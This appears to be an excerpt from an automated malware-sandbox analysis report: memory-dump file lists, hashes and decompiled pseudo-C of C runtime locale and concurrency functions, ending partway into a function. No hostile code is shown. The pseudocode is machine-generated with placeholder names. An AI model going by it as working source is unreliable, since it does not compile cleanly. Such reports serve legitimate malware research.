Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prolog3RegisterThrowcollatestd::locale::_
String ID: %G
API String ID: 360923863-3833237576
Opcode ID: 8bd55d78cff0ffa2f9bda57b28892293c398f8b7a378549491c58da49cfb588a
Instruction ID: 6338bc2f946df503a8ef5002d705427a17e87fa9eef4d9cf4a34fc7f4de9e0ff
Opcode Fuzzy Hash: 8bd55d78cff0ffa2f9bda57b28892293c398f8b7a378549491c58da49cfb588a
Instruction Fuzzy Hash: 66110E369006188BCF01EBA4C956AEDB3B5BF94310F55040EF822AB392DF709E01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B08500, Relevance: 13.7, APIs: 9, Instructions: 201
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00B08500(void* __edx, char _a4) {
				void* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				void _t52;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				intOrPtr _t56;
				signed int _t59;
				signed int _t68;
				signed int _t70;
				signed int _t73;
				signed int _t76;
				char _t81;
				intOrPtr* _t82;
				void* _t93;
				void* _t94;
				signed int _t97;
				void* _t100;
				char _t108;
				char _t109;
				void* _t114;
				char* _t115;
				signed int _t121;
				signed int* _t122;
				char _t124;
				intOrPtr* _t126;
				char* _t131;

				_t114 = __edx;
				_t124 = _a4;
				_v24 = _t124;
				_v20 = 0;
				if( *((intOrPtr*)(_t124 + 0xb0)) != 0 ||  *((intOrPtr*)(_t124 + 0xac)) != 0) {
					_v16 = 1;
					_t93 = E00B00B22(_t94, 1, 0x50);
					if(_t93 != 0) {
						_t97 = 0x14;
						memcpy(_t93,  *(_t124 + 0x88), _t97 << 2);
						_t126 = E00B00BB9(0, 4);
						_t121 = 0;
						_v8 = _t126;
						E00B00B7F(0);
						_pop(_t100);
						if(_t126 != 0) {
							 *_t126 = 0;
							_t124 = _a4;
							if( *((intOrPtr*)(_t124 + 0xb0)) == 0) {
								_t52 =  *0xb42190; // 0xb421e4
								 *_t93 = _t52;
								_t53 =  *0xb42194; // 0xb463ec
								 *((intOrPtr*)(_t93 + 4)) = _t53;
								_t54 =  *0xb42198; // 0xb463ec
								 *((intOrPtr*)(_t93 + 8)) = _t54;
								_t55 =  *0xb421c0; // 0xb421e8
								 *((intOrPtr*)(_t93 + 0x30)) = _t55;
								_t56 =  *0xb421c4; // 0xb463f0
								 *((intOrPtr*)(_t93 + 0x34)) = _t56;
								L19:
								 *_v8 = 1;
								if(_t121 != 0) {
									 *_t121 = 1;
								}
								goto L21;
							}
							_t122 = E00B00BB9(_t100, 4);
							_v12 = _t122;
							E00B00B7F(0);
							_push(_t93);
							if(_t122 != 0) {
								 *_t122 =  *_t122 & 0x00000000;
								_t123 =  *((intOrPtr*)(_t124 + 0xb0));
								_t68 = E00B06102(_t114);
								_t16 = _t93 + 4; // 0x4
								_t70 = E00B06102(_t114,  &_v24, 1,  *((intOrPtr*)(_t124 + 0xb0)), 0xf, _t16,  &_v24);
								_t18 = _t93 + 8; // 0x8
								_t73 = E00B06102(_t114,  &_v24, 1,  *((intOrPtr*)(_t124 + 0xb0)), 0x10, _t18, 1);
								_t76 = E00B06102(_t114,  &_v24, 2,  *((intOrPtr*)(_t124 + 0xb0)), 0xe, _t93 + 0x30, _t123);
								_t22 = _t93 + 0x34; // 0x34
								if((E00B06102(_t114,  &_v24, 2, _t123, 0xf, _t22, 0xe) | _t68 | _t70 | _t73 | _t76) == 0) {
									_t115 =  *((intOrPtr*)(_t93 + 8));
									while(1) {
										_t81 =  *_t115;
										if(_t81 == 0) {
											break;
										}
										_t30 = _t81 - 0x30; // -48
										_t108 = _t30;
										if(_t108 > 9) {
											if(_t81 != 0x3b) {
												L16:
												_t115 = _t115 + 1;
												continue;
											}
											_t131 = _t115;
											do {
												_t82 = _t131 + 1;
												_t109 =  *_t82;
												 *_t131 = _t109;
												_t131 = _t82;
											} while (_t109 != 0);
											continue;
										}
										 *_t115 = _t108;
										goto L16;
									}
									_t121 = _v12;
									_t124 = _a4;
									goto L19;
								}
								E00B08497(_t93);
								E00B00B7F(_t93);
								E00B00B7F(_v12);
								_v16 = _v16 | 0xffffffff;
								L12:
								E00B00B7F(_v8);
								return _v16;
							}
							E00B00B7F();
							goto L12;
						}
						E00B00B7F(_t93);
						return 1;
					}
					return 1;
				} else {
					_t121 = 0;
					_v8 = 0;
					_t93 = 0xb42190;
					L21:
					_t59 =  *(_t124 + 0x80);
					if(_t59 != 0) {
						asm("lock dec dword [eax]");
					}
					if( *((intOrPtr*)(_t124 + 0x7c)) != 0) {
						asm("lock xadd [ecx], eax");
						if((_t59 | 0xffffffff) == 0) {
							E00B00B7F( *((intOrPtr*)(_t124 + 0x7c)));
							E00B00B7F( *(_t124 + 0x88));
						}
					}
					 *((intOrPtr*)(_t124 + 0x7c)) = _v8;
					 *(_t124 + 0x80) = _t121;
					 *(_t124 + 0x88) = _t93;
					return 0;
				}
			}

0x00b08500
0x00b0850a
0x00b08510
0x00b08513
0x00b0851c
0x00b0853b
0x00b08543
0x00b08549
0x00b0855c
0x00b0855d
0x00b08566
0x00b08568
0x00b0856b
0x00b0856e
0x00b08574
0x00b08577
0x00b08588
0x00b0858a
0x00b08593
0x00b086e5
0x00b086ea
0x00b086ec
0x00b086f1
0x00b086f4
0x00b086f9
0x00b086fc
0x00b08701
0x00b08704
0x00b08709
0x00b08675
0x00b0867b
0x00b0867f
0x00b08681
0x00b08681
0x00000000
0x00b0867f
0x00b085a0
0x00b085a4
0x00b085a7
0x00b085ae
0x00b085b1
0x00b085be
0x00b085c4
0x00b085d0
0x00b085d5
0x00b085e4
0x00b085eb
0x00b085f8
0x00b0860c
0x00b08616
0x00b0862d
0x00b08659
0x00b08669
0x00b08669
0x00b0866d
0x00000000
0x00000000
0x00b0865e
0x00b0865e
0x00b08664
0x00b086d2
0x00b08668
0x00b08668
0x00000000
0x00b08668
0x00b086d4
0x00b086d6
0x00b086d6
0x00b086d9
0x00b086db
0x00b086dd
0x00b086df
0x00000000
0x00b086e3
0x00b08666
0x00000000
0x00b08666
0x00b0866f
0x00b08672
0x00000000
0x00b08672
0x00b08630
0x00b08636
0x00b0863e
0x00b08646
0x00b0864a
0x00b0864e
0x00000000
0x00b08656
0x00b085b3
0x00000000
0x00b085b8
0x00b0857a
0x00000000
0x00b08582
0x00000000
0x00b08526
0x00b08526
0x00b08528
0x00b0852b
0x00b08683
0x00b08683
0x00b0868b
0x00b0868d
0x00b0868d
0x00b08695
0x00b0869a
0x00b0869e
0x00b086a3
0x00b086ae
0x00b086b4
0x00b0869e
0x00b086b8
0x00b086bd
0x00b086c3
0x00000000
0x00b086c3

APIs

_free.LIBCMT ref: 00B0856E
_free.LIBCMT ref: 00B0857A
_free.LIBCMT ref: 00B086A3
_free.LIBCMT ref: 00B086AE

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: f31d8660b37f83734479f40af034b568c2a5d9fa06fc1b964e0f9bbb20496699
Instruction ID: e105a763472569421e4e3284db68f792fe31c65966cd2e9dbb1acc1878bd4c34
Opcode Fuzzy Hash: f31d8660b37f83734479f40af034b568c2a5d9fa06fc1b964e0f9bbb20496699
Instruction Fuzzy Hash: E161E8719003059FDB20DF64D882BAABFF9EB54710F1545AAF999EB2C1EF719E008B50

Uniqueness

Uniqueness Score: -1.00%

Function 00AA7430, Relevance: 13.6, APIs: 9, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00AA7430(void* __ebx, signed int __ecx, void* __edi, void* __esi, signed int _a4, signed char _a8, intOrPtr _a16) {
				char _v8;
				char _v16;
				signed int _v20;
				char _v24;
				signed int _v28;
				char _v29;
				char _v30;
				char _v36;
				intOrPtr _v40;
				char _v44;
				char _v84;
				void* __ebp;
				signed int _t56;
				signed int _t57;
				signed char _t62;
				signed char _t66;
				signed char _t67;
				signed char _t69;
				signed char _t80;
				void* _t87;
				void* _t123;
				void* _t124;
				signed int _t125;

				_t124 = __esi;
				_t123 = __edi;
				_t87 = __ebx;
				_push(0xffffffff);
				_push(E00B10B50);
				_push( *[fs:0x0]);
				_t56 =  *0xb42074; // 0x80d348a2
				_t57 = _t56 ^ _t125;
				_v20 = _t57;
				_push(_t57);
				 *[fs:0x0] =  &_v16;
				_v28 = __ecx;
				_v36 = 0;
				E00AA7C20( &_v24, _v28 + 0x14);
				_v8 = 0;
				if((_a8 & 0x000000ff) == 0) {
					_t62 = E00AA4F80(_v28);
					__eflags = _t62 & 0x000000ff;
					if((_t62 & 0x000000ff) != 0) {
						L9:
						_v30 = 0;
						_v8 = 0xffffffff;
						E00AA7BE0();
						L24:
						 *[fs:0x0] = _v16;
						return E00ADA4E2(_t87, _v20 ^ _t125, _t122, _t123, _t124);
					}
					_t66 = E00AA4FB0(_v28);
					_t122 = _t66 & 0x000000ff;
					__eflags = _t66 & 0x000000ff;
					if((_t66 & 0x000000ff) != 0) {
						goto L9;
					}
					_t67 = E00AA4F50(_v28);
					__eflags = _t67 & 0x000000ff;
					if((_t67 & 0x000000ff) == 0) {
						L10:
						_t122 = _a4 & 0x000000ff;
						__eflags = _a4 & 0x000000ff;
						if((_a4 & 0x000000ff) == 0) {
							_t69 = E00AA4F20(_v28);
							__eflags = _t69 & 0x000000ff;
							if((_t69 & 0x000000ff) != 0) {
								_v36 = 2;
							}
							_t122 = _v28;
							 *((intOrPtr*)(_v28 + 4)) = 2;
							__eflags = _v28 + 0xc8;
							E00AC245E(_t69);
						} else {
							 *((intOrPtr*)(_v28 + 4)) = 4;
							_v36 = 1;
						}
						_v8 = 0xffffffff;
						E00AA7BE0();
						_v40 = _v36;
						__eflags = _v40 - 1;
						if(_v40 == 1) {
							E00AA3E70(_v28 + 0x50);
							_t122 = _v28;
							__eflags =  *(_t122 + 0x44);
							if( *(_t122 + 0x44) != 0) {
								E00AAB280( *((intOrPtr*)(E00AA2BF0( &_v44, _v28))));
								_v8 = 1;
								_t122 =  &_v84;
								E00AA4270(_t87,  &_v84,  &_v84, _t123, _t124, __eflags,  &_v84, 0x10);
								_v8 = 0xffffffff;
								E00AA4200( &_v84);
							}
						} else {
							__eflags = _v40 - 2;
							if(__eflags == 0) {
								_t80 = E00AA8FC0(_v28 + 0xd8, __eflags);
								__eflags = _t80 & 0x000000ff;
								if((_t80 & 0x000000ff) != 0) {
									__eflags = _v28 + 0xd8;
									_t80 = E00AAAB20(_v28 + 0xd8, _v28 + 0xd8);
								}
								E00AA16E0(_t80, _v28 + 0x50);
							}
						}
						goto L24;
					}
					__eflags = _a4 & 0x000000ff;
					if((_a4 & 0x000000ff) != 0) {
						goto L10;
					}
					goto L9;
				}
				_t122 = _v28;
				if( *((intOrPtr*)(_v28 + 4)) != 4) {
					__eflags = _v28 + 0xc;
					E00AA8EF0(_v28 + 0xc, _v28 + 0xc, _a16);
					goto L10;
				}
				_v29 = 0;
				_v8 = 0xffffffff;
				E00AA7BE0();
				goto L24;
			}

0x00aa7430
0x00aa7430
0x00aa7430
0x00aa7433
0x00aa7435
0x00aa7440
0x00aa7444
0x00aa7449
0x00aa744b
0x00aa744e
0x00aa7452
0x00aa7458
0x00aa745b
0x00aa746c
0x00aa7471
0x00aa747e
0x00aa74ba
0x00aa74c2
0x00aa74c4
0x00aa74ec
0x00aa74ec
0x00aa74f0
0x00aa74fa
0x00aa75f4
0x00aa75f7
0x00aa760c
0x00aa760c
0x00aa74c9
0x00aa74ce
0x00aa74d1
0x00aa74d3
0x00000000
0x00000000
0x00aa74d8
0x00aa74e0
0x00aa74e2
0x00aa7507
0x00aa7507
0x00aa750b
0x00aa750d
0x00aa7525
0x00aa752d
0x00aa752f
0x00aa7531
0x00aa7531
0x00aa7538
0x00aa753b
0x00aa7545
0x00aa754b
0x00aa750f
0x00aa7512
0x00aa7519
0x00aa7519
0x00aa7550
0x00aa755a
0x00aa7562
0x00aa7565
0x00aa7569
0x00aa75a9
0x00aa75ae
0x00aa75b1
0x00aa75b5
0x00aa75c9
0x00aa75ce
0x00aa75d7
0x00aa75db
0x00aa75e3
0x00aa75ed
0x00aa75ed
0x00aa756b
0x00aa756b
0x00aa756f
0x00aa757c
0x00aa7584
0x00aa7586
0x00aa758b
0x00aa7591
0x00aa7591
0x00aa759c
0x00aa759c
0x00aa756f
0x00000000
0x00aa75f2
0x00aa74e8
0x00aa74ea
0x00000000
0x00000000
0x00000000
0x00aa74ea
0x00aa7480
0x00aa7487
0x00aa74ad
0x00aa74b0
0x00000000
0x00aa74b5
0x00aa7489
0x00aa748d
0x00aa7497
0x00000000

APIs

Concurrency::details::_CriticalNonReentrantLock::_Scoped_lock::_Scoped_lock.LIBCMTD ref: 00AA746C

Part of subcall function 00AA7C20: std::_Mutex_base::~_Mutex_base.LIBCONCRTD ref: 00AA7C34

SafeRWList.LIBCONCRTD ref: 00AA7497

Part of subcall function 00AA7BE0: std::_Mutex_base::~_Mutex_base.LIBCONCRTD ref: 00AA7C0B

shared_ptr.LIBCMTD ref: 00AA74B0
Concurrency::details::_Task_impl_base::_IsCompleted.LIBCPMTD ref: 00AA74BA
Concurrency::details::_Task_impl_base::_IsCanceled.LIBCPMTD ref: 00AA74C9
Concurrency::details::_Task_impl_base::_IsPendingCancel.LIBCPMTD ref: 00AA74D8
SafeRWList.LIBCONCRTD ref: 00AA74FA
SafeRWList.LIBCONCRTD ref: 00AA755A

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Concurrency::details::_$ListSafeTask_impl_base::_$Mutex_baseMutex_base::~_std::_$CancelCanceledCompletedCriticalLock::_PendingReentrantScoped_lockScoped_lock::_shared_ptr
String ID:
API String ID: 3566140802-0
Opcode ID: 86cf6ce37aa8e1b2d3790e3f238f04d21df79a297b585e3a43b12a6f3a5426fd
Instruction ID: d93e7693f0231f985dbc3448bc5e8345c0180d06b0cf8c20dbd8d1def270a92c
Opcode Fuzzy Hash: 86cf6ce37aa8e1b2d3790e3f238f04d21df79a297b585e3a43b12a6f3a5426fd
Instruction Fuzzy Hash: 775170B090414A8BCF08DF94CA61BFFBBB1BF46314F144259E1526B2C2DB349945DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00AFF86E, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00AFF86E(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, signed int _a8, intOrPtr _a12) {
				signed int _v8;
				short _v270;
				short _v272;
				char _v528;
				char _v700;
				signed int _v704;
				short _v706;
				signed int* _v708;
				signed int _v712;
				signed int _v716;
				signed int _v720;
				signed int* _v724;
				intOrPtr _v728;
				signed int _v732;
				signed int _v736;
				signed int _v740;
				signed int _v744;
				signed int _t146;
				void* _t153;
				signed int _t154;
				signed int _t155;
				intOrPtr _t156;
				signed int _t159;
				signed int _t163;
				signed int _t164;
				intOrPtr _t166;
				signed int _t169;
				signed int _t170;
				signed int _t172;
				signed int _t192;
				signed int _t194;
				signed int _t196;
				signed int _t201;
				signed int _t204;
				void* _t205;
				signed int _t210;
				intOrPtr* _t211;
				signed int _t222;
				intOrPtr _t225;
				intOrPtr* _t226;
				signed int _t228;
				signed int* _t232;
				signed int _t233;
				intOrPtr _t241;
				void* _t242;
				signed int _t246;
				signed int _t248;
				void* _t249;
				signed int _t252;
				signed int* _t253;
				intOrPtr* _t254;
				short _t255;
				signed int _t257;
				signed int _t259;
				void* _t261;
				void* _t263;

				_t257 = _t259;
				_t146 =  *0xb42074; // 0x80d348a2
				_v8 = _t146 ^ _t257;
				_push(__ebx);
				_t204 = _a8;
				_push(__esi);
				_push(__edi);
				_t241 = _a4;
				_v736 = _t204;
				_v724 = E00B0157E(__ecx, __edx) + 0x278;
				_push( &_v712);
				_t153 = E00AFEF42(_t204, __edx, _t241, _a12, _a12,  &_v272, 0x83,  &_v700, 0x55);
				_t261 = _t259 - 0x2e4 + 0x18;
				if(_t153 != 0) {
					_t11 = _t204 + 2; // 0x6
					_t246 = _t11 << 4;
					__eflags = _t246;
					_t154 =  &_v272;
					_v716 = _t246;
					_t239 =  *(_t246 + _t241);
					_t210 =  *(_t246 + _t241);
					while(1) {
						_v704 = _v704 & 0x00000000;
						__eflags =  *_t154 -  *_t210;
						_t248 = _v716;
						if( *_t154 !=  *_t210) {
							break;
						}
						__eflags =  *_t154;
						if( *_t154 == 0) {
							L8:
							_t155 = _v704;
						} else {
							_t255 =  *((intOrPtr*)(_t154 + 2));
							__eflags = _t255 -  *((intOrPtr*)(_t210 + 2));
							_v706 = _t255;
							_t248 = _v716;
							if(_t255 !=  *((intOrPtr*)(_t210 + 2))) {
								break;
							} else {
								_t154 = _t154 + 4;
								_t210 = _t210 + 4;
								__eflags = _v706;
								if(_v706 != 0) {
									continue;
								} else {
									goto L8;
								}
							}
						}
						L10:
						__eflags = _t155;
						if(_t155 != 0) {
							_t211 =  &_v272;
							_t239 = _t211 + 2;
							do {
								_t156 =  *_t211;
								_t211 = _t211 + 2;
								__eflags = _t156 - _v704;
							} while (_t156 != _v704);
							_v720 = (_t211 - _t239 >> 1) + 1;
							_t159 = E00B00BB9(_t211 - _t239 >> 1, 4 + ((_t211 - _t239 >> 1) + 1) * 2);
							_v732 = _t159;
							__eflags = _t159;
							if(_t159 == 0) {
								goto L1;
							} else {
								_v728 =  *((intOrPtr*)(_t248 + _t241));
								_v740 =  *(_t241 + 0xa0 + _t204 * 4);
								_v744 =  *(_t241 + 8);
								_v708 = _t159 + 4;
								_t163 = E00AF632D(_t159 + 4, _v720,  &_v272);
								_t263 = _t261 + 0xc;
								__eflags = _t163;
								if(_t163 != 0) {
									_t164 = _v704;
									_push(_t164);
									_push(_t164);
									_push(_t164);
									_push(_t164);
									_push(_t164);
									E00AF527C();
									asm("int3");
									_t166 =  *0xb46540; // 0x0
									return _t166;
								} else {
									__eflags = _v272 - 0x43;
									 *((intOrPtr*)(_t248 + _t241)) = _v708;
									if(_v272 != 0x43) {
										L19:
										_t169 = E00AFEC5A(_t204, _t241,  &_v700);
										_t222 = _v704;
									} else {
										__eflags = _v270;
										if(_v270 != 0) {
											goto L19;
										} else {
											_t222 = _v704;
											_t169 = _t222;
										}
									}
									 *(_t241 + 0xa0 + _t204 * 4) = _t169;
									__eflags = _t204 - 2;
									if(_t204 != 2) {
										__eflags = _t204 - 1;
										if(_t204 != 1) {
											__eflags = _t204 - 5;
											if(_t204 == 5) {
												 *((intOrPtr*)(_t241 + 0x14)) = _v712;
											}
										} else {
											 *((intOrPtr*)(_t241 + 0x10)) = _v712;
										}
									} else {
										_t253 = _v724;
										_t239 = _t222;
										_t232 = _t253;
										 *(_t241 + 8) = _v712;
										_v708 = _t253;
										_v720 = _t253[8];
										_v712 = _t253[9];
										while(1) {
											__eflags =  *(_t241 + 8) -  *_t232;
											if( *(_t241 + 8) ==  *_t232) {
												break;
											}
											_t254 = _v708;
											_t239 = _t239 + 1;
											_t201 =  *_t232;
											 *_t254 = _v720;
											_v712 = _t232[1];
											_t232 = _t254 + 8;
											 *((intOrPtr*)(_t254 + 4)) = _v712;
											_t204 = _v736;
											_t253 = _v724;
											_v720 = _t201;
											_v708 = _t232;
											__eflags = _t239 - 5;
											if(_t239 < 5) {
												continue;
											} else {
											}
											L27:
											__eflags = _t239 - 5;
											if(__eflags == 0) {
												_t192 = E00B062B4(__eflags, _v704, 1, 0xb1bf38, 0x7f,  &_v528,  *(_t241 + 8), 1);
												_t263 = _t263 + 0x1c;
												__eflags = _t192;
												if(_t192 == 0) {
													_t233 = _v704;
												} else {
													_t194 = _v704;
													do {
														 *(_t257 + _t194 * 2 - 0x20c) =  *(_t257 + _t194 * 2 - 0x20c) & 0x000001ff;
														_t194 = _t194 + 1;
														__eflags = _t194 - 0x7f;
													} while (_t194 < 0x7f);
													_t196 = E00AF23FD( &_v528,  *0xb422a8, 0xfe);
													_t263 = _t263 + 0xc;
													__eflags = _t196;
													_t233 = 0 | _t196 == 0x00000000;
												}
												_t253[1] = _t233;
												 *_t253 =  *(_t241 + 8);
											}
											 *(_t241 + 0x18) = _t253[1];
											goto L39;
										}
										__eflags = _t239;
										if(_t239 != 0) {
											 *_t253 =  *(_t253 + _t239 * 8);
											_t253[1] =  *(_t253 + 4 + _t239 * 8);
											 *(_t253 + _t239 * 8) = _v720;
											 *(_t253 + 4 + _t239 * 8) = _v712;
										}
										goto L27;
									}
									L39:
									_t170 = _t204 * 0xc;
									_t107 = _t170 + 0xb1bfc0; // 0xad1ba7
									 *0xb1531c(_t241);
									_t172 =  *((intOrPtr*)( *_t107))();
									_t225 = _v728;
									__eflags = _t172;
									if(_t172 == 0) {
										__eflags = _t225 - 0xb42378;
										if(_t225 != 0xb42378) {
											_t252 = _t204 + _t204;
											__eflags = _t252;
											asm("lock xadd [eax], ecx");
											if(_t252 != 0) {
												goto L44;
											} else {
												E00B00B7F( *((intOrPtr*)(_t241 + 0x28 + _t252 * 8)));
												E00B00B7F( *((intOrPtr*)(_t241 + 0x24 + _t252 * 8)));
												E00B00B7F( *(_t241 + 0xa0 + _t204 * 4));
												_t228 = _v704;
												 *(_v716 + _t241) = _t228;
												 *(_t241 + 0xa0 + _t204 * 4) = _t228;
											}
										}
										_t226 = _v732;
										 *_t226 = 1;
										 *((intOrPtr*)(_t241 + 0x28 + (_t204 + _t204) * 8)) = _t226;
									} else {
										 *((intOrPtr*)(_v716 + _t241)) = _t225;
										E00B00B7F( *(_t241 + 0xa0 + _t204 * 4));
										 *(_t241 + 0xa0 + _t204 * 4) = _v740;
										E00B00B7F(_v732);
										 *(_t241 + 8) = _v744;
										goto L1;
									}
									goto L2;
								}
							}
						} else {
							goto L2;
						}
						goto L48;
					}
					asm("sbb eax, eax");
					_t155 = _t154 | 0x00000001;
					__eflags = _t155;
					goto L10;
				} else {
					L1:
					L2:
					_pop(_t242);
					_pop(_t249);
					_pop(_t205);
					return E00ADA4E2(_t205, _v8 ^ _t257, _t239, _t242, _t249);
				}
				L48:
			}

0x00aff871
0x00aff879
0x00aff880
0x00aff883
0x00aff884
0x00aff887
0x00aff88b
0x00aff88c
0x00aff88f
0x00aff89f
0x00aff8ab
0x00aff8c2
0x00aff8c7
0x00aff8cc
0x00aff8e1
0x00aff8e4
0x00aff8e4
0x00aff8e7
0x00aff8ed
0x00aff8f3
0x00aff8f6
0x00aff8f8
0x00aff8fb
0x00aff902
0x00aff905
0x00aff90b
0x00000000
0x00000000
0x00aff90d
0x00aff911
0x00aff93a
0x00aff93a
0x00aff913
0x00aff913
0x00aff917
0x00aff91b
0x00aff922
0x00aff928
0x00000000
0x00aff92a
0x00aff92a
0x00aff92d
0x00aff930
0x00aff938
0x00000000
0x00000000
0x00000000
0x00000000
0x00aff938
0x00aff928
0x00aff947
0x00aff947
0x00aff949
0x00aff94f
0x00aff955
0x00aff958
0x00aff958
0x00aff95b
0x00aff95e
0x00aff95e
0x00aff96e
0x00aff97c
0x00aff981
0x00aff988
0x00aff98a
0x00000000
0x00aff990
0x00aff996
0x00aff9a3
0x00aff9ac
0x00aff9bf
0x00aff9c6
0x00aff9cb
0x00aff9ce
0x00aff9d0
0x00affc27
0x00affc2d
0x00affc2e
0x00affc2f
0x00affc30
0x00affc31
0x00affc32
0x00affc37
0x00affc38
0x00affc3d
0x00aff9d6
0x00aff9d6
0x00aff9e4
0x00aff9e7
0x00aff9fd
0x00affa04
0x00affa0a
0x00aff9e9
0x00aff9e9
0x00aff9f1
0x00000000
0x00aff9f3
0x00aff9f3
0x00aff9f9
0x00aff9f9
0x00aff9f1
0x00affa10
0x00affa17
0x00affa1a
0x00affb3a
0x00affb3d
0x00affb4a
0x00affb4d
0x00affb55
0x00affb55
0x00affb3f
0x00affb45
0x00affb45
0x00affa20
0x00affa20
0x00affa26
0x00affa2e
0x00affa30
0x00affa33
0x00affa3c
0x00affa45
0x00affa4b
0x00affa4e
0x00affa50
0x00000000
0x00000000
0x00affa52
0x00affa58
0x00affa59
0x00affa64
0x00affa6c
0x00affa74
0x00affa77
0x00affa7a
0x00affa80
0x00affa86
0x00affa8c
0x00affa92
0x00affa95
0x00000000
0x00000000
0x00affa97
0x00affabc
0x00affabc
0x00affabf
0x00affadc
0x00affae1
0x00affae4
0x00affae6
0x00affb24
0x00affae8
0x00affae8
0x00affaee
0x00affaf3
0x00affafb
0x00affafc
0x00affafc
0x00affb13
0x00affb1a
0x00affb1d
0x00affb1f
0x00affb1f
0x00affb2a
0x00affb30
0x00affb30
0x00affb35
0x00000000
0x00affb35
0x00affa99
0x00affa9b
0x00affaa0
0x00affaa6
0x00affaaf
0x00affab8
0x00affab8
0x00000000
0x00affa9b
0x00affb58
0x00affb58
0x00affb5c
0x00affb64
0x00affb6a
0x00affb6d
0x00affb73
0x00affb75
0x00affbb5
0x00affbbb
0x00affbc2
0x00affbc2
0x00affbc8
0x00affbcc
0x00000000
0x00affbce
0x00affbd2
0x00affbdb
0x00affbe7
0x00affbf5
0x00affbfb
0x00affbfe
0x00affbfe
0x00affbcc
0x00affc0d
0x00affc15
0x00affc1e
0x00affb77
0x00affb7d
0x00affb87
0x00affb99
0x00affba0
0x00affbad
0x00000000
0x00affbad
0x00000000
0x00affb75
0x00aff9d0
0x00aff94b
0x00000000
0x00aff94b
0x00000000
0x00aff949
0x00aff942
0x00aff944
0x00aff944
0x00000000
0x00aff8ce
0x00aff8ce
0x00aff8d0
0x00aff8d3
0x00aff8d4
0x00aff8d7
0x00aff8e0
0x00aff8e0
0x00000000

APIs

Part of subcall function 00B0157E: GetLastError.KERNEL32(?,00AB315C,00000008,00B06815,00AC72EF,00AC7335,?,00AC7145,00000000), ref: 00B01583
Part of subcall function 00B0157E: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00AC7145,00000000), ref: 00B0161F

_memcmp.LIBVCRUNTIME ref: 00AFFB13
_free.LIBCMT ref: 00AFFB87
_free.LIBCMT ref: 00AFFBA0
_free.LIBCMT ref: 00AFFBD2
_free.LIBCMT ref: 00AFFBDB
_free.LIBCMT ref: 00AFFBE7

Strings

C, xrefs: 00AFF9D6

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _free$ErrorLast$_memcmp
String ID: C
API String ID: 4275183328-1037565863
Opcode ID: 6e0d7bb2d5fdbb9e9b72e5791fcc9b4b1ecfa18a76dfc470f0e6d3acecd9db2d
Instruction ID: d3570c7b36eb2b1a75c3ceffb5cd6125c5e2707edb4478223c31ec06516d2989
Opcode Fuzzy Hash: 6e0d7bb2d5fdbb9e9b72e5791fcc9b4b1ecfa18a76dfc470f0e6d3acecd9db2d
Instruction Fuzzy Hash: 9BB13B75A0121A9FDB24DF58C894BADB7B4FF58304F5085EAE949A7390D770AE90CF80

Uniqueness

Uniqueness Score: -1.00%

Function 00AA5D90, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 198
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00AA5D90(void* __ebx, void* __edi, void* __esi, intOrPtr _a4, char _a8, char _a12, signed int _a16) {
				char _v16;
				signed int _v20;
				char _v24;
				void* _v32;
				char _v56;
				signed int _v57;
				signed int _v64;
				char _v65;
				char _v66;
				signed int _v72;
				intOrPtr _v76;
				intOrPtr _v80;
